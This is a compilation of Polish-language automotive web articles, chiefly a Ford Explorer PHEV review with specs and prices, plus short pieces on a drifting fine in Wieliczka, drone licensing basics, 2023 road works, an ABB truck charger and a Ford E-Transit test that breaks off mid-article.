Jeśli jesteś zainteresowany nowym modelem hybrydowego SUV-a Renault, nie zwlekaj! Wystarczy, że skontaktujesz się z obsługą klienta – możesz zrobić to za pomocą formularza, infolinii lub czatu. Dowiedz się więcej o Renault Austral i umów na jazdę próbną. Może właśnie ten model skradnie Twoje serce?

Source: Renault Austral – hybrydowy SUV nowej ery

Ford Explorer PHEV: test, cena, opinia i dane techniczne. Amerykański, 3-litrowy SUV dla rodziny?

Spis treści

Elektryfikacja europejskiej motoryzacji została przesądzona i przyklepana. Myśliciele w Brukseli zupełnie świadomie popchnęli motoryzację w kierunku, z którego przynajmniej w perspektywie najbliższych 30-40 lat nie ma odwrotu. Chyba, że jakimś cudem, z atmosfery wyparuje do kosmosu cały nadmiar CO2, a lodowce na Islandii – i nie tylko – zaczną się odbudowywać. Ponieważ na razie nam to nie „grozi”, producenci uciekają w elektromobilność i jeśli nie przestawiają się na zasilanie prądem w pełni, to chociaż w części starają się aplikować pod maskę elektryczne wspomagacze.

I tu wjeżdża Ford – cały na biało, bo ekologicznie – który w swojej gamie oferuje wielkiego SUV-a o mocy 457 KM. To hybryda plug-in, czyli z „wtyczką”, oznacza się skrótowo PHEV. Ford Explorer PHEV mógł się więc pojawić w Europie.

Ten tekst mogłabym rozpocząć słowami: „Kochany Święty Mikołaju, przez cały rok byłam grzeczna, miła dla ludzi i pisałam zawsze samą prawdę, dlatego proszę cię, żebyś przyniósł mi pod choinkę Forda Explorera.” Bo choć jest lato, to list już przygotowuję. Dlaczego?

Ford Explorer PHEV – pierwsze wrażenia z jazdy tym autem opisywałam wcześniej tu.

Ford Explorer PHEV – rywale: Golden League

Żarty się skończyły. Ford Explorer to zawodnik wagi ciężkiej, który postanowił stanąć ramię w ramię z największymi europejskimi rodzinnymi SUV-ami i powalczyć o klientów. Z kim właściwie Explorer ma walczyć? 7-osobowe, duże, rodzinne SUV-y dostępne u dealerów to: Audi Q7, BMW X7, Mercedes GLS i Range Rover. Wszystkie kosztują wyjściowo grubo powyżej pół miliona złotych i to za wersje podstawowe, a niektóre z nich ocierają się nawet o milion złotych. W tym kontekście, wypchany po brzegi wszystkim, co możliwe, Ford Explorer kosztujący niecałe 425 tys. złotych wydaje się czystą okazją.

I proszę, nie mówicie, że Ford nie jest premium, że to nie ta liga, bo z tym wyposażeniem i tym układem napędowym, to jak najbardziej jest ta liga. Poza tym na klapie bagażnika oraz fotelach przednich testowego egzemplarza widnieje napis „Platinum”, a to zobowiązuje.

Ford Explorer PHEV 2023

Ford Explorer PHEV 2023

Ford Explorer PHEV: wymiary

Ford Explorer już samymi wymiarami budzi respekt na ulicy. Jego ponad pięciometrowe nadwozie ciężko jest objąć wzrokiem, a potężny grill zdaje się warczeć na wszystkich niczym rozdrażniony rotwailer. O jego sile niech świadczą liczby: długość 5049 mm, szerokość 2004 mm (2285 mm z lusterkami), wysokość 1778 mm, rozstaw osi 3025, waga 2466 kg (waga dopuszczalna 3160 kg).

On nie ma zamiaru niczego udawać i nawet nie ukrywa swojej masy. 20-calowe felgi, obute w ogromne opony zdają się znikać w czeluściach nadkoli. Ogromne drzwi otwierają się szeroko i tu od razu plus dla projektantów, którzy nie zapomnieli o tym, by poszycie zachodziło na progi. Dzięki temu prostemu zabiegowi, dolna część garderoby pozostanie czysta.

Jeden malutki minusik muszę za to postawić Fordowi za brak teleskopów pokrywy silnika, która co prawda nie jest przesadnie ciężka, ale żeby dolać płyn do spryskiwacza trzeba unieść maskę wysoko i zabezpieczyć ją archaicznym bagnetem. Osoby o wzroście poniżej 160 cm mogą mieć kłopoty z obsługą tej prostej czynności.

Ford Explorer PHEV 2023

Ford Explorer PHEV 2023

Ford Explorer PHEV – wnętrze: welcome to USA

Wnętrzu Explorera nie można za to niczego zarzucić. Jest ogromne, szerokie, i w całości wyściełane dwukolorową (czarną i czekoladową) skórą. Podłokietnik pomiędzy siedzeniami mógłby służyć w zasadzie za dodatkowe siedzenie i trzeba mieć naprawdę długie ręce, by dosięgnąć do schowka przed pasażerem. Fotele są oczywiście podgrzewane, wentylowane i mają funkcję masażu, o kilku trybach ugniatania nie wspominając.

Tylne fotele są trzy. Każde ma możliwość regulacji kąta pochylenia oparcia, zewnętrzne można przesuwać, a środkowe siedzisko może służyć za podłokietnik. No właśnie, a dlaczego środkowe się nie przesuwa? Mogłoby. Plus za to daję za elektryczne podnoszenie i opuszczanie foteli trzeciego rzędu, za którym zostaje jeszcze przestrzeń porównywalna z bagażnikiem Forda Fiesty.

Multimedia są łatwe w obsłudze, smartfon łączy się z systemem błyskawicznie, a audio Bowers & Wilkins przenosi pasażerów w magiczny świat basowych dźwięków. Na pokładzie znalazły się naturalnie wszystkie dostępne systemy wspomagające i asystujące, jednak nie będę was zanudzać oczywistymi oczywistościami.

Jedno, do czego trzeba się przyzwyczaić, to zupełnie pionowo postawiony ekran centralny, który wygląda jakby umieszczony został tam nieco z przymusu. Wystarczyłby o połowę mniejszy, który dałoby się wtedy ładnie wkomponować w deskę pomiędzy kratkami nawiewów. Po za tym ergonomia obsługi jest na wysokim poziomie, a i schowków i półeczek jest tu pod dostatkiem, czyli po amerykańsku. Byłabym zapomniała… Listwy wykończeniowe na desce rozdzielczej są wykonane z prawdziwego forniru!

Ford Explorer PHEV 2023

Ford Explorer PHEV 2023

Ford Explorer PHEV – opinia: Texas cowboy

Ford Explorer jest trochę jak teksański miliarder, który dorobił się swojego majątku przez przypadek trafiając łopatą w warstwę roponośną. Jest nieco nieokrzesany i być może brakuje mu salonowego obycia, ale błyszczący Rolex na jego nadgarstku skupia uwagę wszystkich wokół.

Oczywiście znajdą się tacy, którzy będą argumentować swoją niechęć do Forda, że to przecież nie przystoi, żeby ktoś wywodzący się z ludu mógł tak sobie bezkarnie wchodzić do klubów zarezerwowanych do tej pory jedynie dla szlachetnie urodzonych. Będą musieli pogodzić się z tym, że Ford w wielu kwestiach jest w stanie przewyższyć ich szlachetne DNA. Bo jak potraktować deskę rozdzielczą obszytą skórą, ogromne podgrzewane i wentylowane fotele z funkcją rozbudowanego masażu, czy elektrycznie rozkładane siedzenia trzeciego rzędu?

Wyposażenie jest praktycznie kompletne i ciężko byłoby dodać cokolwiek do bardzo długiej listy opcji. W tym kontekście kwota 425 tysięcy złotych, jaką trzeba wydać na Forda Explorera PHEV nie wydaje się już taka wysoka.

Ford Explorer PHEV – silnik: witaj Europo!

Ważący dwie i pół tony kolos zasilany jest przez zaawansowany układ hybrydowy plug-in, w którego skład wchodzi trzylitrowy motor benzynowy EcoBoost o sześciu cylindrach w układzie „V”. Gdy włącza się do akcji to brzmi, jakby chciał się wyrwać spod maski i samodzielnie pogalopować przed siebie. Wspomagany jest przez silnik elektryczny, również umieszczony z przodu, który z kolei odpowiada za ekologiczną osobowość wielkiego SUV-a. Spalinowo-elektryczny zestaw generuje łączną moc 457 KM i moment obrotowy 825 Nm (!!!). Jest jak gladiator, któremu nigdy nie brakuje tchu.

A to nie wszystko! Za przeniesienie tej mocy i momentu na koła odpowiada 10-stopniowa skrzynia biegów, wyjęta prosto z magazynu podzespołów Forda Mustanga! Macie jeszcze jakieś pytania?

Zapewne interesuje was silnik elektryczny oraz to, jaki dystans można pokonać w trybie bezemisyjnym. Otóż został on umieszczony z przodu, tuż przed skrzynią biegów – „ekologiczny” napęd trafia na wszystkie cztery koła. Baterie, za pomocą przenośnej ładowarki, można ładować z dowolnego gniazdka, można też korzystać ze stacji szybkiego ładowania, przy czym auto jest w stanie przyjąć prąd o mocy maksymalnie 22 kW.

Producent przekonuje, że energia zgromadzona w akumulatorach pozwala przejechać do 40 km, i faktycznie należy się skupić na przyimku „do”, bo w praktyce jest to niewiele ponad 30 km. Jest też tryb, który pozwala ładować baterie podczas jazdy na przykład autostradą po to, by w centrum miasta korzystać z trybu elektrycznego i to bardzo fajna funkcja. Trzeba jednak pamiętać, że nie ma nic za darmo i podczas ładowania akumulatorów za pomocą 3-litrowego V6 zużycie paliwa wzrośnie.

Ford Explorer PHEV – opinia i wrażenia z jazdy: rodzinny muscle car

Ten samochód jest jak Patrick Swayze w filmie „Wykidajło”. Na pierwszy rzut oka wydaje się łagodny i przyjazny, ale gdy zajdzie taka potrzeba, wali z pięści powalając przeciwnika na ziemię. Ta kawalerka na kołach pierwszą „setkę” osiąga w równe 6 sekund i potrafi się rozpędzić do 230 km/h! Coś takiego na lewym pasie autostrady czuje się jak na własnym rancho i bardzo niechętnie ustępuje miejsca innym. Tym bardziej, że na rynku niewielu konkurentów jest w stanie dorównać mu wielkością, a jeśli już, to kosztują przynajmniej 2 razy tyle, co Explorer.

Ford Explorer PHEV 2023

Ford Explorer PHEV 2023

Poza tym samochód prowadzi się całkiem pewnie i w zakrętach wcale nie podpiera się lusterkami. Jedyne co wymagałoby delikatnej poprawy to program skrzyni biegów, który mając do wyboru tyle przełożeń nie zawsze potrafi się zdecydować, który aktualnie powinien wybrać. Receptą na to jest przełączenie się w tryb ECO, który poprawia sytuację i wprowadza więcej spokoju w pracy skrzyni, dodatkowo praktycznie nie cierpi na tym dynamika auta.

Ford Explorer PHEV – zużycie paliwa

Ciekawi was pewnie zużycie paliwa, więc spieszę z informacją, że w trasie, jadąc lewym pasem autostrady komputer pokaże 10,5 – 11 l/100 km, a w mieście, jeśli nie ładujemy baterii co 30 kilometrów, komputer wyświetli 12 l/100 km. I to jest bardzo ok, biorąc pod uwagę wielkość i ciężar Explorera oraz to, że pod prawą stopą na rozkaz do galopu czeka 457 KM.

Ford Explorer PHEV – cena

W cenniku Forda Explorera znajdziecie dwie pozycje:

  • Ford Explorer ST-Line w cenie 424 300 zł
  • Ford Explorer Platinum w cenie 426 300 zł.

Nawet lakiery są w cenie. Dopłaty 1700 zł wymaga jedynie biały metalizowany lakier o nazwie Star White. Jedyną opcją dodatkową jest hak holowniczy za 5800 zł. Nic więcej nie dołożycie, bo na pokładzie jest już absolutnie wszystko.

Porównywalne Audi Q7 S line 60 TFSI e quattro tiptronic rozpoczyna się kwotą 413 600 zł, jednak, by wyrównać poziom wyposażenia, należy dołożyć 110 120 zł. Otrzymamy wtedy fakturę na kwotę 523 720 zł.

BMW X7 xdrive40i startuje od kwoty 485 000 zł, ale nie jest hybrydą.

Mercedes GLS 450 4MATIC kosztuje wyjściowo 471 200 zł.

Range Rover? No cóż, Range Rover z łatwością osiąga 1 000 000. W pełni wyposażone auto kosztuje dokładnie 1 017 338 zł, przy czym tu lakier biały Icy White w wersji błyszczącej kosztuje 46 850 zł, a w satynie 66 340 zł.

Ford Explorer PHEV 2023

Ford Explorer PHEV 2023

Można zatem przyjąć, że w swojej klasie Ford nie ma konkurencji i sądzę, że to nie jest przypadek. Amerykański producent już nie raz otwierał niszę, w której nie miał sobie równych, a ostatnio zrobił to wprowadzając do europejskiej oferty Raptora, czyli sportowego pick-upa, który, jak żaden inny potrafi latać po bezdrożach.

Ja, pod takim podejściem do motoryzacji, podpisuję się obiema rękami, stopami i nosem. I jeszcze jedno: chowam do szuflady biurka list zaczynający się słowami: „Kochany Święty Mikołaju, w tym roku proszę cię o Forda Explorera Plug-in Hybrid, takiego z dużymi kołami, skórzaną tapicerką i tą cudownie brzmiącą V-szóstką pod maską…” i czekam na grudzień.

Ford Explorer PHEV – zalety

  • ogromne wnętrze
  • komfort jazdy
  • ekologiczny i oszczędny napęd
  • pełne wyposażenie

Ford Explorer PHEV – wady

  • brak prestiżu marek klasy premium
  • brak możliwości przesuwania środkowego siedzenia tylnej kanapy

Ford Explorer PHEV – dane techniczne

Silnik Hybryda Plug-in: Benzynowy V6 + elektryczny
Pojemność skokowa 2956 cm3
Moc 457 KM przy 5750 obr./min (349KM b, 101 KM e)
Maksymalny moment obrotowy 825 Nm przy 2500 obr./min
Skrzynia biegów Automatyczna, 10-biegowa
Prędkość maksymalna 230 km/h
Przyspieszenie 0-100 km/h 6,0 s
Długość/szerokość/wysokość 5049/2004/1778 mm

Source: Ford Explorer PHEV: test, cena, opinia i dane techniczne. Amerykański, 3-litrowy SUV dla rodziny?

Drift na rondzie w Wieliczce – za zawrotkę na ręcznym fan tylnego napędu zapłaci ogromny mandat. Film

Pewien młody kierowca postanowił późnym wieczorem nieco pohałasować, spalić trochę gumy z tylnych opon i poćwiczyć umiejętności jazdy w poślizgu. Jego drift na rondzie w Wieliczce nie obył się bez policyjnej interwencji.

Drift na rondzie w Wieliczce – przebieg interwencji

W nocy z 28 na 29 lipca, po godzinie 24, do Komendy Powiatowej Policji w Wieliczce wpłynęło kilka zgłoszeń o zakłócaniu ciszy nocnej na ulicy Piłsudskiego. Sprawcą tych zakłóceń był kierujący pojazdem BMW, który w środku nocy, na terenie Wieliczki urządził sobie tor wyścigowy. Jego zachowanie nagrał inny uczestnik ruchu drogowego, który film opublikował na jednym z portali internetowych.

Wieliccy funkcjonariusze ustalili kierującego BMW i rozliczyli go z nieodpowiedzialnego zachowania na drodze.

Drift na rondzie w Wieliczce – kumulacja wykroczeń

5 tys. zł mandatu otrzymał 24 – letni kierowca BMW, za swój drift na rondzie w Wieliczce. Na rondzie Armii Krajowej postanowił

24-letni mieszkaniec gminy Wieliczka, który postanowił „podriftować” wykonując ,,zawrotkę na ręcznym’’, czym stworzył zagrożenie w ruchu drogowym dla innych użytkowników ruchu, w związku popełnionymi wykroczeniami t.j.:

  • spowodowania zagrożenia w ruchu drogowym
  • zakłócenia ciszy nocnej

został ukarany mandatem karnym w kwocie 5 tys. złotych, a na jego konto trafiło 10 pkt karnych. 

Apelujemy o rozwagę i rozsądek na drodze oraz stosowanie się do przepisów ruchu drogowego.

A oto jak możemy wyglądać drifting w bezpiecznych warunkach – demonstruje to drifterka Ola Fijał w Fordzie Focusie RS, na Autodromie Bemowo.

Źródło: Małopolska Policja

Source: Drift na rondzie w Wieliczce – za zawrotkę na ręcznym fan tylnego napędu zapłaci ogromny mandat. Film

Jak zacząć swoją przygodę z dronami?

Spis treści

Edukacja i szkolenie w obsłudze drona to podstawa

Zanim zakupisz swój pierwszy dron, zacznij od zdobycia podstawowych informacji. Powinieneś znać aktualne przepisy dotyczące korzystania z drona, uprawnień, latania w określonych obszarach. W Polsce, aby zgodnie z przepisami latać dronem, konieczne jest:

  • przejście szkolenia,
  • zdanie egzaminu,
  • wykonanie badań i uzyskanie uprawnień,
  • posiadanie zezwolenia na lot,
  • wykonywanie lotów jedynie na dozwolonych obszarach.

Upewnij się, że zdajesz sobie sprawę z ograniczeń co do lotów, zasad dotyczących bezpieczeństwa i przestrzegania prywatności. Kolejnym krokiem będzie dobór odpowiedniego sprzętu.

Wybór drona na miarę potrzeb i budżetu

Istnieje wiele modeli dronów o różnych funkcjach i cenach. Wybierz dron, który odpowiada Twoim potrzebom i oczekiwaniom i mieści się w budżecie, który warto ustalić z wyprzedzeniem. Dobrze jest rozważyć prostszy model na samym początku, który pozwoli Ci na naukę pilotażu i mechaniki drona. Z drugiej strony, stawiając od razu na zaawansowany sprzęt, taki jak DJI Air 3, masz do dyspozycji szereg ułatwień związanych z solidnymi systemami bezpieczeństwa i automatyzacji lotu. Zwróć również uwagę, że niektóre drony sterowane za pomocą aplikacji mogą wymagać kompatybilnego smartfona czy tabletu o odpowiednich parametrach.

Zakup i rejestracja drona zgodnie z przepisami

W wyborze odpowiedniego modelu drona mogą pomóc specjaliści, którzy doradzą, uwzględniając wszystkie czynniki. Warto także poznać opinie innych użytkowników oraz ranking dronów, który pomoże w podjęciu właściwej decyzji. W zależności od aktualnych przepisów może być konieczna rejestracja drona po zakupie, zwykle jeśli jego waga przekracza określoną granicę. Upewnij się, czy musisz zarejestrować swój dron i wykonaj tę czynność, jeśli jest wymagana. W innym wypadku loty mogą być nielegalne albo też w ogóle niemożliwe z uwagi na blokadę programową.

Ćwiczenia i pełna nauka pilotażu

Gdy już masz swój dron, warto poświęcić czas na ćwiczenia pilotażu przed podjęciem bardziej zaawansowanych wyzwań lotniczych. Znajdź bezpieczne miejsce do ćwiczeń i zapoznaj się z podstawowymi funkcjami drona oraz jego kontrolerem. Pamiętaj, że umiejętność pilotażu drona wymaga praktyki, więc bądź cierpliwy i regularnie ćwicz. Wiele dronów oferuje też tryb symulatora, który pozwala na trenowanie pilotażu wirtualnie, zanim przejdziesz do lotów w rzeczywistości. Skorzystaj z tej funkcji, aby poprawić swoje umiejętności pilotażu bez ryzyka uszkodzenia drona.

O czym jeszcze powinni pamiętać piloci dronów?

Podczas latania dronem zawsze pamiętaj o bezpieczeństwie innych osób i respektuj ich prywatność. Unikaj latania w okolicach lotnisk, imprez masowych czy miejsc, gdzie mogłoby to zakłócić życie mieszkańców. Ponadto dbaj o środowisko i nie naruszaj przepisów dotyczących ochrony przyrody. Zaczęcie przygody z dronami może dostarczyć Ci nie tylko rozrywki, ale też unikalnych widoków i doświadczeń. Pamiętaj jednak, że odpowiedzialne korzystanie z dronów wymaga znajomości przepisów i dbania o bezpieczeństwo.

Source: Jak zacząć swoją przygodę z dronami?

Te remonty dróg uprzykrzają wakacyjne podróże w 2023 roku. Sprawdź zanim ruszysz w drogę!

Remonty dróg 2023

Jeżeli macie wrażenie, że już od dłuższego czasu w kontekście podróżowania po Polsce nie czytacie o niczym innym niż remonty dróg to… macie rację. W te wakacje szczególnie trudne mogą być podróże takimi odcinkami jak choćby:

  • DK22 –  remont od Malborka do granicy województwa pomorskiego z warmińsko-mazurskim (ok 10 km); uciążliwy szczególnie dla kierowców jadących do Elbląga i Malborka – ruch wahadłowy na kilku odcinkach
  • DK21 – rozbudowa drogi pomiędzy Słupskiem a Ustką (13 km); utrudniony dojazd do Ustki

Z jakimi innymi utrudnieniami muszą liczyć się kierowcy podczas wakacyjnych podróży? Gdzie odbywają się teraz remonty dróg?

remonty dróg 2023

Inwestycje drogowe 2023

Równowaga w przyrodzie musi być. Jak się okazuje – w drogowej rzeczywistości ta zasada również obowiązuje. Warto przyjrzeć się zatem i nowym inwestycjom – tym, które już ułatwiają podróżowanie, i tym, które za chwilę zaczną.

Drogi oddane do użytku w 2023

W ramach krótkiego przypomnienia – w tym roku do użytku zostały oddane m.in.:

  • DW579 obwodnica Grodziska Mazowieckiego (7,5 km)
  • DW801 obwodnica Dęblina 
  • DK32 obwodnica południowa Zielonej Góry – 13 km odcinek m.in. odciąża Trasę Północną
  • S7 Lesznowola – Tarczyn – 20 km odcinek skraca podróż ze stolicy w kierunku Zakopanego
  • S61 Łomża Zachód – Południe (7 km)
  • DW260 Południowa obwodnica Gniezna (2,2 km)

Tunel pod Świną już otwarty

DK93 Świnoujście, tunel pod Świną – otwarcie tunelu odczuwalnie skróci czas podróży pomiędzy Międzyzdrojami a Świnoujściem, eliminując tym samym konieczność korzystania z promów lub objazdów

W lipcu 2023 otwarte zostaną lub zostały:

  • S14 ostatni odcinek obwodnicy Łodzi (19 lipca) – po ukończeniu prac powstanie zachodnia obwodnica Łodzi, łącząca A2 z S8; na nowym odcinku S14 skorzystają m.in. mieszkańcy Łodzi, Pabianic, Zgierza, Konstantynowa Łódzkiego i Aleksandrowa Łódzkiego, ponieważ skróci on czas przejazdu i wyprowadzi tranzyt z powyższych miejscowości
  • S61 Ełk Południe – Kalinowo – 23 km fragment trasy Via Baltica od węzła Ełk Południe do węzła Wysokie (Kalinowo) wraz z połączeniem z obwodnicą Ełku w ciągu DK16; Via Baltica ma zapewnić lepsze połączenie drogowe między Polską a krajami bałtyckimi; dzięki niej takie połączenie z centrum kraju zyska też Suwalszczyzna i wschodnie Mazury; docelowo jej długość ma wynosić ok 311 km, a do oddania, poza wymienionym odcinkiem, zostały jeszcze: Ostrów Mazowiecka Północ – Śniadowo (19,5 km) oraz co najmniej jedna jezdnia obwodnicy Łomży
  • S11 obwodnica Olesna
  • DW335 obwodnica Krzeczyna Wielkiego
  • S6 obwodnica Sianowa – otwarcie krótkiego odcinka, budowa znacznie dłuższej części potrwa jeszcze sporo czasu

Sierpień 2023:

  • DW714 Łódź Trasa Górna – odcinek od Rzgowskiej do Nowe Górki – do użytku zostaną oddane pierwsze 2 km, natomiast zakończenie całej inwestycji związanej z budową trasy zaplanowane jest na listopad 2023 r.
  • DW434 obwodnica Gostynia – zmniejszy ruch w mieście i rozładuje korki
  • DK28 obwodnica Chełmca

Wakacje 2023 okresem wypadków

Remonty dróg przyczyniają się też do wypadków. Z ubiegłorocznych statystyk policji wynika, że wakacje to okres, w którym na drodze ma miejsce najwięcej wypadków. Niezmiennie, najczęściej do wypadków dochodzi w piątek, w popołudniowym szczycie komunikacyjnym (godz. 16-16.59), w dobrych warunkach atmosferycznych, na prostym odcinku drogi. Nie bez powodu na polskich drogach pojawia się coraz więcej urządzeń CANARD-u. Aktualnie, nad przepisową jazdą czuwa: 465 fotoradarów,  32 odcinkowe pomiary prędkości (w czerwcu nowy OPP pojawił się na S7, w woj. mazowieckim w powiecie białobrzeskim), 37 kamer na światłach (w czerwcu do ekipy dołączyła nowa – na ul. Średzkiej (DK94) we Wrocławiu) oraz ok. 30 mobilnych urządzeń rejestrujących.

– Jak widać, drogowy okres wakacyjny zapowiada się nadzwyczaj intensywnie. Jeśli więc chcemy zadbać o to, by droga na Hel nie okazała się “highway to hell”, warto zaopatrzyć się w nawigację, która dzięki mapom aktualizowanym na bieżąco, pomoże nam bezpiecznie, sprawnie i bez stresu dotrzeć do celu – mówi Katarzyna Przybylska, z  firmy Telematics Technologies, będącej dostawcą NaviExpert.  I dodaje: – ​Zdaniem psychologów, to właśnie stres towarzyszy nam podczas pierwszych dni urlopu. Przynajmniej ten, związany z podróżą my staramy się maksymalnie zredukować. Jak? Choćby za sprawą dostępnych w nawigacji tras uwzględniających zmiany organizacji ruchu. Ostrzeżemy także o nadmiernej prędkości, radarze czy kontroli, by móc przywieźć z wakacji tylko chciane pamiątki.

Listę utrudnień znajdziesz tu.

Źródło: GDDKiA, Naviexpert

Source: Te remonty dróg uprzykrzają wakacyjne podróże w 2023 roku. Sprawdź zanim ruszysz w drogę!

Polacy opracowali ładowarkę ABB HVC360, która może spopularyzować e-ciężarówki

Według nowego badania ICCT, 40-tonowa ciężarówka o napędzie elektrycznym w czasie cyklu życia swojej baterii wyemituje 63% szkodliwych związków mniej niż ciężarówka z silnikiem diesla1. Różnica będzie zwiększać się na korzyć e-trucka wraz z postępującą dekarbonizacją sieci energetycznej. Niestety, ciężkie pojazdy elektryczne stanowią dziś jednocyfrowy procent wszystkich sprzedanych elektryków. Problemem jest m.in. dostępna infrastruktura. Ładowarka ABB HVC360 może to zmienić.

ABB HVC360 – ładowarka do e-ciężarówek

Powoli się do zmienia. Niedawno firma ABB podała szczegóły swojej nowej technologii do ładowania pojazdów ciężkich. Rozwiązanie o nazwie ABB HVC360 pozwala ładować z maksymalną mocą 360 kW. Moc można rozdzielić na nawet cztery punkty ładowania znajdujące się w odległości do 100 metrów od szafy zasilającej. To dobre rozwiązanie dla właścicieli flot, np. ciężarówek elektrycznych czy autobusów na prąd.

Co istotne, za rozwój i wdrożenie produktu odpowiada zespół inżynierów i naukowców z Korporacyjnego Centrum Technologicznego ABB w Krakowie we współpracy z zespołami ABB E-mobility z innych krajów. Polacy byli zaangażowani m.in. w prace inżynieryjne, dostosowanie oprogramowania, integrację z innymi produktami, testowanie i weryfikację rozwiązań, a także pilotażowe wdrożenia.

– W ABB HVC360 zamknięto maksimum mocy na małej przestrzeni. Rozwiązanie pozwoli na szybkie doładowanie baterii we wszystkich standardach, a w ciągu godziny na pełne naładowanie baterii o pojemności 360kWh. Z perspektywy operatora to sprawniejsza logistyka i szybszy, bardziej niezawodny transport publiczny. Cieszę się, że istotny wkład w stworzenie produktu, który będzie sprzedawany na wielu rynkach świata, mają polscy inżynierowie i naukowcy – mówi Krzysztof Marat, dyrektor ds. rozwoju rynku elektromobilności w ABB w Polsce.

Rosnąca liczba publicznych stacji do ładowania (w Polsce jest ich około 28001) to dobra informacja dla kierowców samochodów elektrycznych, ale nie zmienia ona sytuacji posiadaczy ciężkich pojazdów z napędem bateryjnym, którzy potrzebują o wiele „mocniejszej” infrastruktury. Tym bardziej, że autobusy i ciężarówki stanowią zaledwie 4 proc. wszystkich pojazdów na świecie, a odpowiadają za 40 proc. emisji w transporcie, więc elektryfikacja całych flot przyspieszyłaby proces dekarbonizacji.

W 2022 roku na świecie sprzedano niecałe 66 tys. e-busów, co stanowi około 4,5 proc. wszystkich sprzedanych autobusów. Jednak udział e-busów w rynku szybko rośnie. Popyt na takie pojazdy w Indiach jest większy niż łączne zapotrzebowanie w USA i Europie. Wyjątkowa w tym sektorze jest pozycja Chin, w których jeździ 98 proc. wszystkich elektrycznych autobusów3.

Wraz z tym dynamicznym wzrostem pojawia się coraz większe zapotrzebowanie na bardziej elastyczne i wydajne rozwiązania do ładowania, które umożliwią flotom e-busów ładowanie i sprawne operowanie na ograniczonej przestrzeni miejskich zajezdni.

ABB HVC360 zajmuje 50 proc. mniej miejsca niż stacje starszej generacji, wymaga też mniej okablowania AC. Jednocześnie funkcja dynamicznego ładowania umożliwi racjonalny „rozdział” mocy do poszczególnych stacji w zależności od liczby podłączonych pojazdów lub ich parametrów.

Innym przykładem globalnego potencjału nowego rozwiązania jest branża transportowa. W 2022 r. na całym świecie sprzedano prawie 60 tys. elektrycznych samochodów ciężarowych o średniej i dużej ładowności4, co stanowi zaledwie 1,2% całego rynku samochodów ciężarowych. Jednak szacuje się, że globalna sprzedaż e-trucków przekroczy 1,1 mln5 sztuk rocznie do końca dekady. Taki szybki wzrost jest niezbędny z perspektywy ambitnych celów klimatycznych wielu krajów świata, ale można go osiągnąć tylko przy odpowiedniej dostępności elastycznej infrastruktury do ładowania, zarówno na trasie, jak i na zajezdniach.

Dostępność oznacza łatwą adaptację urządzenia do zmieniających się wymagań i uwarunkowań. Równie istotne jak sam sprzęt są więc usługi wsparcia, które zwiększają funkcjonalność rozwiązania. W tym przypadku ABB HVC360 będzie mogło korzystać z oprogramowania m.in. do zdalnego monitoringu, zarządzania energią i szybkiej instalacji.

– To prawdziwie globalne rozwiązane, elastyczne i zgodne ze specyfikacjami wielu producentów OEM. Elektryfikacja pojazdów ciężkich przyspiesza. Cieszymy się, że możemy pomóc przedsiębiorstwom w zmniejszaniu emisji i kosztów eksploatacji, odpowiadając na ich szybko zmieniające się potrzeby – powiedział Chris Nordh, dyrektor ds. flot i tranzytu w biznesie ABB E-mobility.

ABB HVC360 będzie dostępne na rynkach europejskich oraz w St. Zjednoczonych i w Kanadzie we wrześniu 2023 r.

1https://theicct.org/battery-electric-trucks-emit-63-less-ghg-emissions-than-diesel/

2https://pspa.com.pl/2023/informacja/licznik-elektromobilnosci-coraz-wiecej-elektrycznych-samochodow-uzytkowych-na-polskich-drogach/

3https://www.sustainable-bus.com/electric-bus/electric-bus-public-transport-main-fleets-projects-around-world/

4https://www.iea.org/reports/global-ev-outlook-2023/trends-in-electric-heavy-duty-vehicles

5https://finance.yahoo.com/news/sales-electric-trucks-1-154-142500116.html

Source: Polacy opracowali ładowarkę ABB HVC360, która może spopularyzować e-ciężarówki

Ford E-Transit – TEST. Ideał dla odpowiedzialnego przedsiębiorcy?

Spis treści

Przedsiębiorcy, którzy wykorzystują w pracy samochody dostawcze, będą mieć wkrótce ciężki orzech do zgryzienia – muszą liczyć ślad węglowy w organizacji, raportować ESG, czyli działania środowiskowe, dotyczące społecznej odpowiedzialności i ładu korporacyjnego. To dla nich jest przeznaczone auto dostawcze, które właśnie testuję. Oto w pełni elektryczny Ford E-Transit.

Ford E-Transit – dane techniczne

  • zasięg do 309 km WLTP
  • bardzo bogate wyposażenie standardowe – Sync 4 i automatyczna klimatyzacja w standardzie
  • dwie moce – 184 KM lub 269 KM
  • 3 rodzaje nadwozia, w tym podwozie do zabudowy
  • 2 DMC 3.5 lub 4.25 t
  • akumulator trakcyjny umieszczony pod podłogą – nie wpływa na przestrzeń ładunkową
  • ładowność do 2000 kg
  • szybkie ładowanie

Ford E-Transit – wygląd

Auto wygląda bardzo nowocześnie. Duże lampy przednie i olbrzymi front wzbudzają respekt na drodze. Gdyby nie symbole – podkreślone niebieskim odcieniem – poświadczające 100% elektryczny napęd, większość z nas pomyliłaby to auto z wersją spalinową. Duże przeszklenia umożliwiają idealny ogląd dookoła auta, choć w tym pomagają również kamera zamontowana z tyłu pojazdu – obraz z niej pojawia się na ekranie w dużej rozdzielczości.

Ford E-Transit

Ford E-Transit

Ford E-Transit – warianty nadwozia i wyposażenie

Elektryczny Transit jest dostępny w 25 konfiguracjach w dwóch wariantach wysokości (H2, H3) i trzech wariantach długości (L2, L3, L4) oferując przestrzeń ładunkową o pojemności nawet do 15,1 metra sześciennego. Na swoje barki przyjmie blisko 2 tony ładunku, w zależności od konfiguracji nadwozia – jego ładowność może wynosić nawet 1 725 kg

Moja wersja to VAN 350 i najdłuższy wariant nadwozia L4, czyli najdłuższe nadwozie z długim rozstawem osi. Na wyposażeniu jest m.in. system SYNC 4 z 12-calowym wyświetlaczem dotykowym, wbudowana nawigacja satelitarna czy bezprzewodowe aktualizacje Ford Power-Up. Te ostatnie to rozwiązania w chmurze, które pozwalają łagodnie przeprowadzić transformację firmowej floty na samochody elektryczne, ułatwić prowadzenie biznesu i obniżyć jego koszty. Oznacza to, że np. właściciel firmy bardzo łatwo może uzyskać dane o tym, ile kilometrów dziennie przejeżdża pojazd, w jaki sposób się porusza oraz gdzie parkuje.  

Dzięki z kolei Ford Pass Pro szef możne mieć kontrolę nawet nad 12 pojazdami, a 5 z nich monitorować w czasie rzeczywistym. Taka wiedza może być kluczowa dla właściciela firmy czy menedżera zarządzającego flotą także dlatego, że pozwala określić zwrot z inwestycji w samochody elektryczne.

